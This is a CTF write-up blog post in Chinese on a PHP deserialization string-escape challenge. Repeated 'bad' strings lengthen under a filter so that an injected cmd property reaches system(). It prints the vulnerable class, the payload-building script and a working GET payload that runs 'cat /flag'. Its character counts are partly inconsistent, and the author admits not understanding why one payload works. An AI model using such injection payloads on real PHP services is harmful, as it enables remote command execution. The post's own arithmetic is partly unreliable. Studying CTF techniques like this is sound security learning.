2023NewStarCTF [WEB] week4 逃 字符串逃逸

逃(这题虽然同一个原理两种payload都能出flag但是其中一种payload是我误打误撞搞出来的,我也不知道为什么对,有懂的谁来告诉我一下或者以后回来填坑)

题目如下:

最后一行,unserialize(waf(serialize(new GetFlag($_GET['key'])))); 这行代码对用户通过 GET 请求传递的 key 参数进行反序列化操作。首先,$_GET['key'] 的值被传递给 new GetFlag() 构造函数创建一个 GetFlag 对象。然后,serialize() 函数将该对象序列化为字符串,接着 waf() 函数对序列化后的字符串进行过滤处理,把里面的“bad”替换为“good”最后 unserialize() 函数将过滤后的序列化字符串反序列化为对象。字符串由少增多,这里考察的是字符串增多逃逸

 一开始简单构造一个pop链:

<?php
function waf($str){
    return str_replace("bad","good",$str);
}
class GetFlag {
    public $key;
    public $cmd = "ls";
    public function __construct($key)
    {
        $this->key = $key;
    }
    public function __destruct()
    {
        system($this->cmd);
    }
}
$a=new GetFlag('badbad');
$b=serialize($a);
echo $b;

一开始的结果是:

O:7:"GetFlag":2:{s:3:"key";s:6:"badbad";s:3:"cmd";s:2:"ls";}

由于替换,我们知道每一个bad转化为good都会增多一个字符,原本是s:6:"badbad",被替换后变成s:6:"goodgood",显而易见字符数量6没有改变,但是字符串长度实际上变成了8,多出了两个字符,被替换后这个序列化结果就是错误的无法执行。

我们的思路就是把多出来的字符构造成功能性代码(即自己构造一个cmd属性),原本的功能性代码就不管了(不管给原本的cmd赋值什么都不重要了,因为我们已经自己动手构造cmd属性了,而原本的cmd会被废弃)

以下我标红的代码就是我构造的cmd属性,给cmd赋值ls /。对于序列化链来说当前面的符号闭合没有问题,序列化链没有问题,遇见;}的时候就会默认结束,意味着什么呢?意味着标红后面的代码都废了

O:7:"GetFlag":2:{s:3:"key";s:6:"badbad";s:3:"cmd";s:4:"ls";}";s:3:"cmd";s:2:"ls";}

标红的代码有20个字符,一个bad转化为good增加一位字符,所以我们需要20个bad转成good

我的pop链如下:

<?php
function waf($str){
    return str_replace("bad","good",$str);
}
class GetFlag {
    public $key;
    public $cmd = "ls";
    public function __construct($key)
    {
        $this->key = $key;
    }
    public function __destruct()
    {
        system($this->cmd);
    }
}
$a=new GetFlag('badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:4:"ls";}');
$b=serialize($a);
echo $b;

关键在于我把badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:4:"ls";}这88个字符用单引号包裹起来传给了key,等所有bad(22个bad,66个字符)被替换为good(88个字符)后传给后端,后端读到88个字符后又发现一个双引号"来闭合,认为此时key已经接收完毕了,而双引号后边的;s:3:"cmd";s:4:"ls";}就被认为是cmd属性,而读到;}时就会终止,我们原本的cmd是什么就不重要了因为已经被截断了

结果如下:

O:7:"GetFlag":2:{s:3:"key";s:88:"badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:4:"ls";}";s:3:"cmd";s:2:"ls";}

 传给key能看见index.php

那接下来让我们看一下根目录(这里要注意把空格换成%20,而且最好在bp里改包,不知道为什么我同样的payload在bp生效在url栏不生效)

这个时候我们知道了flag文件在根目录下,那么我们只要读文件就好了,下面是两种payload。

第一种:还是同样的思路把最后的cmd排挤出去,用我们自己构建的cmd属性,但是这里问题就来了,我当时鼠标点错修改的是最后一个cmd,但是居然也出了flag,理论上这里已经被截断了呀。。而且我定睛一看发现我刚刚的ls /也是这么来的,理论上key的长度不对应该什么都出不了。。但是居然也出了??

如果修改成理论上正确的反而执行不了

第二种payload:

如果我只是把刚刚理论上正确的序列化里面传给key的那一段截出来,当作payload,就能成功出flag:

?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat%20/flag";}

原因就是一样的,这里有29个bad加上";s:3:"cmd";s:9:"cat%20/flag";}(29个字符)一共有116个字符,被good替换后刚好所有good加在一起就是116个字符,让后面的cmd逃逸出来,后端认为cat /flag就是cmd的值,执行system('cat /flag'),读取flag。以防万一大家以后还是用第二种类型的payload吧

所以第一种情况到底为什么理论上错的能出flag,理论上对的出不了flag

  • 4
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值